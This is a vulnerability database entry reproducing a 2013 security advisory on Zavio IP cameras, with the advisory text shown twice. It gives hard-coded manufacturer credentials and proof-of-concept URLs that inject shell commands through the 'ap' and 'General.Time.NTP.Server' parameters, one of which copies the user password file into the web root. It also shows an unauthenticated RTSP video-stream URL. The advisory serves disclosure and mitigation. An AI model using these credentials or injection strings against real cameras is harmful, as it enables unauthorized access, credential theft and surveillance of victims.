VAR-202001-0849
Vulnerability from variot - Updated: 2024-08-14 13:54An Authentication Bypass vulnerability exists in the web interface in Zavio IP Cameras through 1.6.03 due to a hardcoded admin account found in boa.conf, which lets a remote malicious user obtain sensitive information. Zavio IP The camera contains a vulnerability regarding the use of hard-coded credentials.Information may be obtained. Zavio is an IP camera. The ZAVIO IP camera uses the Boa web server. Boa.conf is the file of the server. The attacker can unauthorized access to sensitive files that are invisible to the user. Advisory Information
Title: Zavio IP Cameras multiple vulnerabilities Advisory ID: CORE-2013-0302 Advisory URL: http://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities Date published: 2013-05-28 Date of last update: 2013-05-28 Vendors contacted: Zavio Release mode: User release
- Vulnerability Information
Class: Use of hard-coded credentials [CWE-798], OS command injection [CWE-78], Incorrect default permissions [CWE-276], OS command injection [CWE-78] Impact: Code execution, Security bypass Remotely Exploitable: Yes Locally Exploitable: No CVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570
- Vulnerability Description
Multiple vulnerabilities have been found in Zavio IP cameras based on firmware v1.6.03 and below, that could allow an unauthenticated remote attacker:
- [CVE-2013-2568] to execute arbitrary commands from the administration web interface. This flaw can also be used to obtain all credentials of registered users.
- [CVE-2013-2569] to access the camera video stream.
-
[CVE-2013-2570] to execute arbitrary commands from the administration web interface (post authentication only).
-
Vulnerable Packages
.
- Non-Vulnerable Packages
. Vendor did not provide details. Contact Zavio for further information.
- Vendor Information, Solutions and Workarounds
There was no official answer from Zavio after several attempts to report these vulnerabilities (see [Sec. 9]). Contact vendor for further information. Some mitigation actions may be:
. Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to 'manufacture.cgi' and 'wireless_mft.cgi'. Check the parameter 'General.Time.NTP.Server' in requests to '/opt/cgi/view/param'.
- Credits
These vulnerabilities were discovered and researched by Nahuel Riva and Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.
- Technical Description / Proof of Concept Code
8.1. 'boa.conf' is the Boa configuration file, and the following account can be found inside:
/-----
MFT: Specify manufacture commands user name and password
MFT manufacture erutcafunam -----/
This account is not visible from the user web interface; users are not aware of the existence and cannot eliminate it. Through this account it is possible to access two CGI files located in '/cgi-bin/mft/':
- 'manufacture.cgi'
- 'wireless_mft.cgi'
The last file contains the OS command injection showed in the following section.
8.2. OS Command Injection
[CVE-2013-2568] The file '/cgi-bin/mft/wireless_mft.cgi', has an OS command injection in the parameter 'ap' that can be exploited using the hard-coded credentials showed in the previous section:
/----- username: manufacture password: erutcafunam -----/
The following proof of concept copies the file where the user credentials are stored in the web server root directory:
/----- http://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales -----/
Afterwards, the user credentials can be obtained by requesting:
/----- http://192.168.1.100/credenciales -----/
8.3. RTSP Authentication Disabled by Default
[CVE-2013-2569] The RTSP protocol authentication is disabled by default. Therefore, the live video stream can be accessed by a remote unauthenticated attacker by requesting:
/----- rtsp://192.168.1.100/video.h264 -----/
8.4. OS Command Injection (Post-auth)
[CVE-2013-2570] The command injection is located in the function 'sub_C8C8' of the binary '/opt/cgi/view/param'. The vulnerable parameter is 'General.Time.NTP.Server'. The following proof of concept can be used to obtain the complete list of access points by executing '/sbin/awpriv ra0 get_site_survey':
/----- http://192.168.1.100/cgi-bin/admin/param?action=update&General.Time.DateFormat=ymd&General.Time.SyncSource=NTP&General.Time.TimeZone=GMT-06:00/America/Mexico_City&General.Time.NTP.ServerAuto=no&General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;&General.Time.NTP.Update=01:00:00&General.Time.DayLightSaving.Enabled=on&General.Time.DayLightSaving.Start.Type=date&General.Time.DayLightSaving.Stop.Type=date&General.Time.DayLightSaving.Start.Month=01&General.Time.DayLightSaving.Stop.Month=01&General.Time.DayLightSaving.Start.Week=1&General.Time.DayLightSaving.Stop.Week=1&General.Time.DayLightSaving.Start.Day=01&General.Time.DayLightSaving.Stop.Day=01&General.Time.DayLightSaving.Start.Date=01&General.Time.DayLightSaving.Stop.Date=01&General.Time.DayLightSaving.Start.Hour=00&General.Time.DayLightSaving.Stop.Hour=00&General.Time.DayLightSaving.Start.Min=00&General.Time.DayLightSaving.Stop.Min=00&Image.OSD.Enabled=off -----/
-
Report Timeline . 2013-03-19: Core Security Technologies notifies the Zavio Tech Support and requests a security manager to send a draft report regarding these vulnerabilities. No reply received. 2013-05-02: Core asks Zavio Tech Support for a security manager to send a confidential report. 2013-05-09: Core asks for a reply. 2013-05-14: Core asks for a reply. 2013-05-21: Core tries to contact vendor for last time without any reply. 2013-05-28: After 5 failed attempts to report the issues, the advisory CORE-2013-0302 is published as 'user-release'.
-
References
[1] http://www.zavio.com/product.php?id=25. [2] http://zavio.com/product.php?id=23. [3] http://www.boa.org/.
- About CoreLabs
CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.
- About Core Security Technologies
Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.
Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.
- Disclaimer
The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/
- PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc
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"data": "An Authentication Bypass vulnerability exists in the web interface in Zavio IP Cameras through 1.6.03 due to a hardcoded admin account found in boa.conf, which lets a remote malicious user obtain sensitive information. Zavio IP The camera contains a vulnerability regarding the use of hard-coded credentials.Information may be obtained. Zavio is an IP camera. The ZAVIO IP camera uses the Boa web server. Boa.conf is the file of the server. The attacker can unauthorized access to sensitive files that are invisible to the user. *Advisory Information*\n\nTitle: Zavio IP Cameras multiple vulnerabilities\nAdvisory ID: CORE-2013-0302\nAdvisory URL:\nhttp://www.coresecurity.com/advisories/zavio-IP-cameras-multiple-vulnerabilities\nDate published: 2013-05-28\nDate of last update: 2013-05-28\nVendors contacted: Zavio\nRelease mode: User release\n\n2. *Vulnerability Information*\n\nClass: Use of hard-coded credentials [CWE-798], OS command injection\n[CWE-78], Incorrect default permissions [CWE-276], OS command injection\n[CWE-78]\nImpact: Code execution, Security bypass\nRemotely Exploitable: Yes\nLocally Exploitable: No\nCVE Name: CVE-2013-2567, CVE-2013-2568, CVE-2013-2569, CVE-2013-2570\n\n3. *Vulnerability Description*\n\nMultiple vulnerabilities have been found in Zavio IP cameras based on\nfirmware v1.6.03 and below, that could allow an unauthenticated remote\nattacker:\n\n 1. \n 2. [CVE-2013-2568] to execute arbitrary commands from the\nadministration web interface. This flaw can also be used to obtain all\ncredentials of registered users. \n 3. [CVE-2013-2569] to access the camera video stream. \n 4. [CVE-2013-2570] to execute arbitrary commands from the\nadministration web interface (post authentication only). \n\n4. *Vulnerable Packages*\n\n . \n\n5. *Non-Vulnerable Packages*\n\n . Vendor did not provide details. Contact Zavio for further information. \n\n6. *Vendor Information, Solutions and Workarounds*\n\nThere was no official answer from Zavio after several attempts to report\nthese vulnerabilities (see [Sec. 9]). Contact vendor for further\ninformation. \nSome mitigation actions may be:\n\n . Do not expose the camera to Internet unless absolutely necessary. Enable RTSP authentication. Have at least one proxy filtering HTTP requests to\n\u0027manufacture.cgi\u0027 and \u0027wireless_mft.cgi\u0027. Check the parameter \u0027General.Time.NTP.Server\u0027 in requests to\n\u0027/opt/cgi/view/param\u0027. \n\n7. *Credits*\n\nThese vulnerabilities were discovered and researched by Nahuel Riva and\nFrancisco Falcon from Core Exploit Writers Team. The publication of this\nadvisory was coordinated by Fernando Miranda from Core Advisories Team. \n\n8. *Technical Description / Proof of Concept Code*\n\n8.1. \u0027boa.conf\u0027 is the Boa\nconfiguration file, and the following account can be found inside:\n\n/-----\n# MFT: Specify manufacture commands user name and password\nMFT manufacture erutcafunam\n-----/\n\n This account is not visible from the user web interface; users are not\naware of the existence and cannot eliminate it. Through this account it\nis possible to access two CGI files located in \u0027/cgi-bin/mft/\u0027:\n\n 1. \u0027manufacture.cgi\u0027\n 2. \u0027wireless_mft.cgi\u0027\n\nThe last file contains the OS command injection showed in the following\nsection. \n\n8.2. *OS Command Injection*\n\n[CVE-2013-2568] The file \u0027/cgi-bin/mft/wireless_mft.cgi\u0027, has an OS\ncommand injection in the parameter \u0027ap\u0027 that can be exploited using the\nhard-coded credentials showed in the previous section:\n\n/-----\nusername: manufacture\npassword: erutcafunam\n-----/\n\n The following proof of concept copies the file where the user\ncredentials are stored in the web server root directory:\n\n/-----\nhttp://192.168.1.100/cgi-bin/mft/wireless_mft?ap=travesti;cp%20/var/www/secret.passwd%20/web/html/credenciales\n-----/\n\n Afterwards, the user credentials can be obtained by requesting:\n\n/-----\nhttp://192.168.1.100/credenciales\n-----/\n\n8.3. *RTSP Authentication Disabled by Default*\n\n[CVE-2013-2569] The RTSP protocol authentication is disabled by default. \nTherefore, the live video stream can be accessed by a remote\nunauthenticated attacker by requesting:\n\n/-----\nrtsp://192.168.1.100/video.h264\n-----/\n\n8.4. *OS Command Injection (Post-auth)*\n\n[CVE-2013-2570] The command injection is located in the function\n\u0027sub_C8C8\u0027 of the binary \u0027/opt/cgi/view/param\u0027. The vulnerable parameter\nis \u0027General.Time.NTP.Server\u0027. The following proof of concept can be used\nto obtain the complete list of access points by executing \u0027/sbin/awpriv\nra0 get_site_survey\u0027:\n\n/-----\nhttp://192.168.1.100/cgi-bin/admin/param?action=update\u0026General.Time.DateFormat=ymd\u0026General.Time.SyncSource=NTP\u0026General.Time.TimeZone=GMT-06:00/America/Mexico_City\u0026General.Time.NTP.ServerAuto=no\u0026General.Time.NTP.Server=sarasa!de!palermo;/sbin/awpriv%20ra0%20get_site_survey;\u0026General.Time.NTP.Update=01:00:00\u0026General.Time.DayLightSaving.Enabled=on\u0026General.Time.DayLightSaving.Start.Type=date\u0026General.Time.DayLightSaving.Stop.Type=date\u0026General.Time.DayLightSaving.Start.Month=01\u0026General.Time.DayLightSaving.Stop.Month=01\u0026General.Time.DayLightSaving.Start.Week=1\u0026General.Time.DayLightSaving.Stop.Week=1\u0026General.Time.DayLightSaving.Start.Day=01\u0026General.Time.DayLightSaving.Stop.Day=01\u0026General.Time.DayLightSaving.Start.Date=01\u0026General.Time.DayLightSaving.Stop.Date=01\u0026General.Time.DayLightSaving.Start.Hour=00\u0026General.Time.DayLightSaving.Stop.Hour=00\u0026General.Time.DayLightSaving.Start.Min=00\u0026General.Time.DayLightSaving.Stop.Min=00\u0026Image.OSD.Enabled=off\n-----/\n\n9. *Report Timeline*\n. 2013-03-19:\nCore Security Technologies notifies the Zavio Tech Support and requests\na security manager to send a draft report regarding these\nvulnerabilities. No reply received. 2013-05-02:\nCore asks Zavio Tech Support for a security manager to send a\nconfidential report. 2013-05-09:\nCore asks for a reply. 2013-05-14:\nCore asks for a reply. 2013-05-21:\nCore tries to contact vendor for last time without any reply. 2013-05-28:\nAfter 5 failed attempts to report the issues, the advisory\nCORE-2013-0302 is published as \u0027user-release\u0027. \n\n10. *References*\n\n[1] http://www.zavio.com/product.php?id=25. \n[2] http://zavio.com/product.php?id=23. \n[3] http://www.boa.org/. \n\n11. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography. \nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies. \nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\nhttp://corelabs.coresecurity.com. \n\n12. *About Core Security Technologies*\n\nCore Security Technologies enables organizations to get ahead of threats\nwith security test and measurement solutions that continuously identify\nand demonstrate real-world exposures to their most critical assets. Our\ncustomers can gain real visibility into their security standing, real\nvalidation of their security controls, and real metrics to more\neffectively secure their organizations. \n\nCore Security\u0027s software solutions build on over a decade of trusted\nresearch and leading-edge threat expertise from the company\u0027s Security\nConsulting Services, CoreLabs and Engineering groups. Core Security\nTechnologies can be reached at +1 (617) 399-6980 or on the Web at:\nhttp://www.coresecurity.com. \n\n13. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2013 Core Security\nTechnologies and (c) 2013 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: http://creativecommons.org/licenses/by-nc-sa/3.0/us/\n\n14. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\nhttp://www.coresecurity.com/files/attachments/core_security_advisories.asc",
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Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.